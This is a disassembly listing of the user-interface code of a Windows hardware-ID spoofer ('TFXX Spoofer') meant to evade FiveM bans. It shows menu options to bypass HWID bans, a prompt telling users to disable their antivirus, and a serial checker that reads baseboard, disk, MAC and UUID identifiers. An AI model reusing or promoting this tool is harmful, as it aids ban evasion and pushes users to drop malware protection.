mov rcx, qword [0x1403159d0]
lea r8, str.Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], r13d
cmp edx, 2
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002d7c0
test al, al
je 0x140053e51
mov edx, 2
mov dword [0x1403160cc], edx
jmp 0x140053e57
mov edx, dword [0x1403160cc]
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x140053e7e
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x140053e85
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x1403159d0]
lea r8, str.One_Click_Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], r12d
cmp edx, 3
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002d7c0
test al, al
je 0x140053ee1
mov dword [0x1403160cc], 3
call fcn.14002d4a0
mov r8, qword [0x1403159b0]
lea rcx, [rbp + 0x240]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x244], xmm1
movss xmm1, dword [0x140316164]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x240], xmm0
movss xmm0, dword [0x140316160]
movss dword [rbp + 0x24c], xmm1
movss dword [rbp + 0x248], xmm0
call fcn.1400052c0
movss xmm7, dword [0x1400fb9a8]
lea r14, str.TFXX_Spoofer
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x1d8]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm7
mov qword [rsp + 0x30], r13
mov esi, eax
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002bb20
movss xmm0, dword [rbp + 0x1d8]
movss xmm6, dword [rbp + 0x24]
addss xmm0, xmm10
movss xmm8, dword [rbp + 0x20]
cvttss2si eax, xmm0
movss xmm0, dword [0x140314c60]
movaps xmm2, xmm0
mulss xmm2, xmm12
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x1d8], xmm1
subss xmm2, xmm1
addss xmm2, xmm0
movaps xmm0, xmm6
addss xmm0, dword [0x1400fb940]
mulss xmm2, xmm12
movss dword [rbp + 0x204], xmm0
addss xmm2, xmm8
movss dword [rbp + 0x200], xmm2
test esi, 0xff000000
je 0x14005409d
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm7, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005404b
mov r8d, 0x678
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1400f9d1c]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x200]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm7
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002bd40
movss xmm7, dword [0x1400fb9a8]
mov r8, qword [0x1403159b0]
lea rcx, [rbp + 0x250]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x254], xmm1
movss xmm1, dword [0x140316164]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x250], xmm0
movss xmm0, dword [0x140316160]
movss dword [rbp + 0x25c], xmm1
movss dword [rbp + 0x258], xmm0
call fcn.1400052c0
movss xmm2, dword [r8 + 0x3d60]
lea r14, str.Antes__Desative_seu_Anti_Virus
mov rcx, qword [r8 + 0x3d58]
lea rdx, [rbp + 0x208]
mov qword [rsp + 0x30], r13
movaps xmm3, xmm7
mov qword [rsp + 0x28], r14
mov esi, eax
movss dword [rsp + 0x20], xmm11
call fcn.14002bb20
movss xmm0, dword [rbp + 0x208]
movss xmm2, dword [0x140314c60]
addss xmm0, xmm10
addss xmm6, dword [0x1400fb94c]
cvttss2si eax, xmm0
movss dword [rbp + 0xd4], xmm6
movaps xmm0, xmm2
mulss xmm0, xmm12
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x208], xmm1
subss xmm0, xmm1
addss xmm0, xmm2
mulss xmm0, xmm12
addss xmm0, xmm8
movss dword [rbp + 0xd0], xmm0
test esi, 0xff000000
je 0x14005423e
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x1400541ec
mov r8d, 0x678
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1400f9d3e]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0xd0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002bd40
movss xmm2, dword [0x140314c60]
mov rcx, qword [0x1403159b0]
lea r8, [rbp + 0xd8]
movaps xmm0, xmm2
mov dword [rbp + 0xd8], r13d
mulss xmm0, xmm12
lea rdx, [rbp + 0xe0]
xor r9d, r9d
mov dword [rbp + 0xdc], 0x41700000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0xe0], 0x438c0000
addss xmm0, dword [0x1400fb97c]
mov dword [rbp + 0xe4], 0x437a0000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
lea rcx, str.Container2
mulss xmm0, xmm12
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm2
addss xmm0, dword [0x1400fb95c]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.14002cfb0
lea rdx, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x438c0000
lea rcx, str.ENTRAR
mov dword [rbp + 0xec], 0x42200000
call fcn.14002e2d0
test al, al
je 0x140054324
mov dword [0x1403159c4], r12d
mov rcx, qword [0x1403159b0]
lea rdx, [rbp + 0xf0]
mov qword [rsp + 0x30], r13
movaps xmm3, xmm7
mov rax, qword [rcx + 0x4038]
movss xmm2, dword [rcx + 0x3d60]
mov rcx, qword [rcx + 0x3d58]
movss xmm6, dword [rax + 0x110]
subss xmm6, dword [rax + 0x28]
addss xmm6, dword [rax + 0x8c]
lea rax, str.Algum_Probema__discord.gg_PyX6yuX9BC
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002bb20
movss xmm0, dword [rbp + 0xf0]
mov rcx, qword [0x1403159b0]
addss xmm0, xmm10
cvttss2si eax, xmm0
movss xmm0, dword [0x1400fb978]
movd xmm1, eax
mov rax, qword [rcx + 0x4038]
cvtdq2ps xmm1, xmm1
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
subss xmm0, xmm1
movss dword [rbp + 0xf0], xmm1
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
mulss xmm0, xmm12
addss xmm0, xmm6
addss xmm2, xmm0
movss dword [rax + 0x110], xmm2
movss xmm1, dword [0x14031613c]
movss xmm0, dword [0x140316138]
movss dword [rbp + 0x264], xmm1
movss xmm1, dword [0x140316144]
mulss xmm1, dword [rcx + 0x38f0]
lea rcx, [rbp + 0x260]
movss dword [rbp + 0x260], xmm0
movss xmm0, dword [0x140316140]
movss dword [rbp + 0x26c], xmm1
movss dword [rbp + 0x268], xmm0
call fcn.1400052c0
movss xmm6, dword [0x1400fb834]
lea rdx, str._Algum_Probema_
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x80]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x80], xmm3
movups xmmword [rbp - 0x80], xmm3
call fcn.140035910
movss xmm1, dword [0x1400fb8dc]
movaps xmm0, xmm13
call fcn.140017510
movss xmm4, dword [0x140316158]
mov rax, qword [0x1403159b0]
lea rcx, [rbp + 0x270]
movss xmm1, dword [0x140316164]
movss xmm5, dword [0x14031615c]
movss xmm0, dword [0x140316160]
mulss xmm1, dword [rax + 0x38f0]
movss dword [rbp + 0x270], xmm4
movss dword [rbp + 0x274], xmm5
movss dword [rbp + 0x27c], xmm1
movss dword [rbp + 0x278], xmm0
call fcn.1400052c0
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
lea rdx, str.discord.gg_PyX6yuX9BC
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x80]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x80], xmm3
movups xmmword [rbp - 0x80], xmm3
call fcn.140035910
call fcn.14002d4a0
movss xmm8, dword [0x1400fb980]
mov ecx, r12d
call fcn.140005980
mov rcx, qword [0x1403159b0]
lea rdx, [rbp + 0x198]
movss xmm2, dword [0x140314c60]
subss xmm2, dword [0x1400fb938]
mov dword [rbp + 0x198], 0x42480000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x19c], 0x42480000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm2
addss xmm0, xmm13
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.14002e9c0
test al, al
je 0x140054661
mov rcx, qword [0x1403159c8]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movss xmm1, dword [0x14031615c]
lea rcx, [rbp - 0x60]
movss xmm0, dword [0x140316158]
mov rax, qword [0x1403159b0]
movss dword [rbp - 0x5c], xmm1
movss dword [rbp - 0x60], xmm0
movss xmm0, dword [0x140316160]
movss xmm1, dword [rax + 0x38f0]
mulss xmm1, dword [0x1400fb854]
movss dword [rbp - 0x58], xmm0
mulss xmm1, dword [0x140316164]
movss dword [rbp - 0x54], xmm1
call fcn.1400052c0
mov ecx, eax
call fcn.14004f240
mov rcx, qword [0x1403159b0]
lea rdx, [rbp - 0x80]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm13
addss xmm1, xmm13
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [0x140314c60]
movsd qword [rbp - 0x80], xmm0
movss dword [rax + 0x110], xmm1
call fcn.140036140
mov rax, qword [0x1403159b0]
mov ecx, dword [rax + 0x409c]
test ecx, ecx
je 0x1400547d1
cmp ecx, dword [rax + 0x49a8]
jne 0x1400547d1
mov rcx, qword [0x1403159c8]
lea rdx, [0x1403159f0]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x140314c64]
lea rcx, [rbp + 0x560]
cvttss2si esi, dword [0x140314c60]
movaps xmm2, xmm11
call fcn.140014800
movd xmm0, dword [0x1403159f4]
lea rcx, [rbp + 0x1a8]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140014800
mov r9d, esi
mov rcx, qword [0x1403159c8]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x1403159f0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.1400126c0
call fcn.14000c4c0
mov rcx, qword [0x140316060]
xor r8d, r8d
mov edx, 7
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140316060]
xor r8d, r8d
mov edx, 0x1b
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140316060]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140316060]
mov r9d, 3
movss xmm7, dword [0x1400fb8a4]
xor r8d, r8d
mov dword [rsp + 0x30], r13d
xor edx, edx
movss dword [rsp + 0x28], xmm7
mov rax, qword [rcx]
mov dword [rsp + 0x20], 0xff728c99
call qword [rax + 0x158]
mov rcx, qword [0x140316060]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x1400548cc
call fcn.14000c4c0
mov rbx, qword [0x1403159b0]
cmp dword [rbx + 0x4af8], r13d
jg 0x14005489c
mov r8d, 0x766
lea rdx, [0x1400e9e20]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
mov rcx, qword [rax]
mov rax, r13
add rcx, 0x48
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.140037be0
mov rcx, qword [0x140316060]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140316060]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x1400537c0
mov rcx, qword [0x140316060]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x1400537c0
call fcn.140038480
mov rcx, qword [0x140316060]
lea rdx, [0x140316070]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x140054949
mov r8d, 0x812
lea rdx, [0x1400faa00]
lea rcx, [0x1400ea010]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403159b0]
test rax, rax
je 0x1400537c0
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x1400537c0
cmp qword [rcx], r13
je 0x1400537c0
call fcn.140038210
jmp 0x1400537c0
lea eax, [rcx - 1]
cmp eax, r12d
ja 0x14005610b
mov r8, qword [0x1403159b0]
lea rcx, [rbp + 0x280]
movss xmm8, dword [rbp + 0x24]
movss xmm7, dword [rbp + 0x20]
movaps xmm6, xmm8
addss xmm6, dword [0x1400fb938]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x1403161a0]
movss xmm1, dword [0x1403161a4]
movss dword [rbp + 0x280], xmm0
movss xmm0, dword [0x1403161a8]
movss dword [rbp + 0x288], xmm0
movss xmm0, dword [0x140314c60]
movss dword [rbp + 0x284], xmm1
addss xmm0, xmm7
movss xmm1, dword [0x1403161ac]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0xfc], xmm6
movss dword [rbp + 0xf8], xmm0
movss dword [rbp + 0x28c], xmm1
call fcn.1400052c0
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x20]
movss xmm0, dword [0x1400fb9b8]
lea r8, [rbp + 0xf8]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.140025840
mov r8, qword [0x1403159b0]
lea rcx, [rbp + 0x290]
movss xmm2, dword [0x140314c64]
addss xmm2, xmm8
movss dword [rbp + 0x10c], xmm6
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x104], xmm2
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x1403161a0]
movss xmm1, dword [0x1403161a4]
movss dword [rbp + 0x290], xmm0
movss xmm0, dword [0x1403161a8]
movss dword [rbp + 0x298], xmm0
movaps xmm0, xmm7
addss xmm0, dword [0x1400fb950]
movss dword [rbp + 0x294], xmm1
movss xmm1, dword [0x1403161ac]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x100], xmm0
movaps xmm0, xmm7
addss xmm0, xmm13
movss dword [rbp + 0x29c], xmm1
movss dword [rbp + 0x108], xmm0
call fcn.1400052c0
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x108]
movss xmm0, dword [0x1400fb9b8]
lea r8, [rbp + 0x100]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.140025840
mov r8, qword [0x1403159b0]
lea rcx, [rbp + 0x2a0]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [0x140316164]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2a0], xmm0
movss xmm0, dword [0x140316160]
movss dword [rbp + 0x2ac], xmm1
movss dword [rbp + 0x2a8], xmm0
call fcn.1400052c0
mov esi, eax
movss xmm3, dword [0x1400fb9a8]
lea rax, str.TFXX_Spoofer
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0xc0]
mov rcx, qword [r8 + 0x3d58]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002bb20
movss xmm0, dword [rbp + 0xc0]
movss xmm2, dword [0x140314c60]
addss xmm0, xmm10
addss xmm2, dword [0x1400fb938]
cvttss2si eax, xmm0
movss xmm0, dword [0x1400fb934]
subss xmm0, dword [rbp + 0xc4]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm12
movss dword [rbp + 0xc0], xmm1
subss xmm2, xmm1
addss xmm0, xmm8
mulss xmm2, xmm12
movss dword [rbp + 0x114], xmm0
addss xmm2, xmm7
movss dword [rbp + 0x110], xmm2
test esi, 0xff000000
je 0x140054cec
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x140054c9b
mov r8d, 0x678
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1400f9d1c]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x110]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.TFXX_Spoofer
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002bd40
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm15
addss xmm0, dword [0x1400fb960]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.140017760
cmp dword [0x1403159c4], r12d
lea r8, [rbp + 0x158]
lea rdx, [0x1400f9da8]
mov dword [rbp + 0x158], 0x42700000
sete cl
mov dword [rbp + 0x15c], 0x42700000
call fcn.14002eec0
test al, al
je 0x140054d8b
mov eax, r12d
mov dword [0x1403159c4], eax
jmp 0x140054d91
mov eax, dword [0x1403159c4]
cmp eax, 2
mov dword [rbp + 0x118], 0x42700000
lea r8, [rbp + 0x118]
mov dword [rbp + 0x11c], 0x42700000
sete cl
lea rdx, [0x1400f9dac]
call fcn.14002eec0
test al, al
je 0x140054dcf
mov edx, 2
mov dword [0x1403159c4], edx
jmp 0x140054dd5
mov edx, dword [0x1403159c4]
mov rcx, qword [0x1403159b0]
lea r8, [rbp + 0x120]
test edx, edx
mov dword [rbp + 0x120], 0x42700000
lea rdx, [0x1400f9db0]
mov dword [rbp + 0x124], 0x42700000
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
sete cl
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x1400fb984]
movss dword [rax + 0x114], xmm0
call fcn.14002eec0
test al, al
je 0x140054e4c
mov dword [0x1403159c4], r13d
call fcn.1400178c0
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1400fb954]
addss xmm0, dword [0x1400fb944]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [0x1403160ec]
cmp eax, r12d
jne 0x14005609b
movss xmm0, dword [0x140314c60]
lea r8, [rbp + 0x128]
movss xmm6, dword [0x1400fb964]
lea rdx, [rbp + 0x130]
movss xmm8, dword [0x1400fb948]
subss xmm0, xmm6
movzx r9d, r12b
mov dword [rbp + 0x128], 0x41900000
lea rcx, str.Container1
mov dword [rbp + 0x12c], 0x41900000
mulss xmm0, xmm12
movss dword [rbp + 0x130], xmm0
movss xmm0, dword [0x140314c64]
subss xmm0, xmm8
movss dword [rbp + 0x134], xmm0
call fcn.14002cfb0
mov rax, qword gs:[0x58]
mov ebx, 0x10
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x140316360], eax
jle 0x140054f83
lea rcx, [0x140316360]
call fcn.1400c8924
cmp dword [0x140316360], 0xffffffff
jne 0x140054f83
lea rcx, [0x140316268]
call fcn.14005a020
lea rcx, [0x1400ccde0]
call fcn.1400c8c00
lea rcx, [0x140316360]
call fcn.1400c88b8
cmp byte [0x1403160e8], r13b
je 0x140054f9a
lea rcx, [0x140316268]
call fcn.140030780
jmp 0x140054fa1
lea rax, [0x1400ea54a]
mov rdx, rax
lea rcx, [0x1400f9db4]
call fcn.14002f850
call fcn.14002f700
mov eax, dword [rbx + rdi]
cmp dword [0x140316298], eax
jle 0x140054ff9
lea rcx, [0x140316298]
call fcn.1400c8924
cmp dword [0x140316298], 0xffffffff
jne 0x140054ff9
lea rcx, [0x140316248]
call fcn.14005a020
lea rcx, [0x1400ccd70]
call fcn.1400c8c00
lea rcx, [0x140316298]
call fcn.1400c88b8
cmp byte [0x1403160f0], r13b
je 0x140055010
lea rcx, [0x140316248]
call fcn.140030780
jmp 0x140055017
lea rax, [0x1400ea54a]
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.14002f850
call fcn.14002f700
mov eax, dword [rbx + rdi]
cmp dword [0x1403162f0], eax
jle 0x14005506f
lea rcx, [0x1403162f0]
call fcn.1400c8924
cmp dword [0x1403162f0], 0xffffffff
jne 0x14005506f
lea rcx, [0x1403162c0]
call fcn.14005a020
lea rcx, [0x1400ccd00]
call fcn.1400c8c00
lea rcx, [0x1403162f0]
call fcn.1400c88b8
cmp byte [0x1403160d8], r13b
je 0x140055086
lea rcx, [0x1403162c0]
call fcn.140030780
jmp 0x14005508d
lea rax, [0x1400ea54a]
mov rdx, rax
lea rcx, str.Disk_C:
call fcn.14002f850
call fcn.14002f700
mov eax, dword [rbx + rdi]
cmp dword [0x14031633c], eax
jle 0x1400550e5
lea rcx, [0x14031633c]
call fcn.1400c8924
cmp dword [0x14031633c], 0xffffffff
jne 0x1400550e5
lea rcx, [0x140316368]
call fcn.14005a020
lea rcx, [0x1400ccc90]
call fcn.1400c8c00
lea rcx, [0x14031633c]
call fcn.1400c88b8
cmp byte [0x1403160e9], r13b
je 0x1400550fc
lea rcx, [0x140316368]
call fcn.140030780
jmp 0x140055103
lea rax, [0x1400ea54a]
mov rdx, rax
lea rcx, str.Disk_D:
call fcn.14002f850
call fcn.14002f700
mov eax, dword [rbx + rdi]
cmp dword [0x140316338], eax
jle 0x14005515b
lea rcx, [0x140316338]
call fcn.1400c8924
cmp dword [0x140316338], 0xffffffff
jne 0x14005515b
lea rcx, [0x1403162a0]
call fcn.14005a020
lea rcx, [0x1400ccc20]
call fcn.1400c8c00
lea rcx, [0x140316338]
call fcn.1400c88b8
cmp byte [0x1403160c8], r13b
je 0x140055172
lea rcx, [0x1403162a0]
call fcn.140030780
jmp 0x140055179
lea rax, [0x1400ea54a]
mov rdx, rax
lea rcx, str.MAC:
call fcn.14002f850
call fcn.14002f700
mov eax, dword [rbx + rdi]
cmp dword [0x14031628c], eax
jle 0x1400551d1
lea rcx, [0x14031628c]
call fcn.1400c8924
cmp dword [0x14031628c], 0xffffffff
jne 0x1400551d1
lea rcx, [0x1403162f8]
call fcn.14005a020
lea rcx, [0x1400ccbb0]
call fcn.1400c8c00
lea rcx, [0x14031628c]
call fcn.1400c88b8
cmp byte [0x1403160d9], r13b
je 0x1400551e8
lea rcx, [0x1403162f8]
call fcn.140030780
jmp 0x1400551ef
lea rax, [0x1400ea54a]
mov rdx, rax
lea rcx, str.UUID:
call fcn.14002f850
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x1400fb8fc]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x140055277
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x14005527e
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea rdx, [rbp + 0x138]
subss xmm1, dword [rax + 0x28]
movss xmm0, dword [r14 + 0x38f8]
lea rcx, str.Serial_Checker
addss xmm0, xmm15
mov dword [rbp + 0x13c], 0x41f00000
subss xmm1, xmm0
mulss xmm1, xmm12
movss dword [rbp + 0x138], xmm1
call fcn.14002e2d0
test al, al
je 0x1400553bb
lea rcx, [rbp - 0x80]
mov byte [0x1403160e8], r12b
call fcn.14004d9b0
mov rdx, rax
lea rcx, [0x140316268]
call fcn.140059e70
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
mov byte [0x1403160f0], r12b
call fcn.14004dfb0
mov rdx, rax
lea rcx, [0x140316248]
call fcn.140059e70
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
mov byte [0x1403160d8], r12b
call fcn.14004ecf0
mov rdx, rax
lea rcx, [0x1403162c0]
